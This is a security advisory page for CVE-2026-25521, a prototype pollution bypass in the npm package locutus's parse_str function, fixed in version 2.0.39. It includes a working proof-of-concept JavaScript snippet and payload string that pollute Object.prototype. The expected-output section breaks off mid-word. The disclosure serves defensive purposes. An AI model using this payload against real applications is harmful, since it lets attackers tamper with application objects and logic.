CVE-2026-25521.

Disclosure summary

### Summary A Prototype Pollution vulnerability exists in the the npm package locutus (>2.0.12). Despite a previous fix that attempted to mitigate Prototype Pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using String.prototype. This issue was fixed in version 2.0.39. ### Details The vulnerability resides in line 77 to 79 of https://github.com/locutusjs/locutus/blob/main/src/php/strings/parse_str.js where includes() function is used to check whether user provided input contain forbidden strings. ### PoC #### Steps to reproduce 1. Install latest version of locutus using npm install or cloning from git 2. Run the following code snippet: ```javascript String.prototype.includes = () => false; console.log({}.polluted); const locutus = require('locutus'); locutus.php.strings.parse_str('constructor[prototype][polluted]=yes'); console.log({}.polluted); // prints yes -> indicating that the patch was bypassed and Prototype Pollution occurred ``` #### Expected behavior Prototype Pollution should be prevented and {} should not gain new properties. This should be printed on the console: ``` undefined undefi

Source-specific records & product guidance

Sources retain their own attribution and scoring. Follow the original record to confirm affected versions, fixed releases, and configuration conditions.

Original records & references

• NIST NVD record
• CVE Program record
• github.com — Reviewed advisory

PUBLISHED 2026-02-02T17:21:54-05:00
MODIFIED 2026-10-05T11:34:19-04:00
INGESTED 2026-10-06T11:45:17-04:00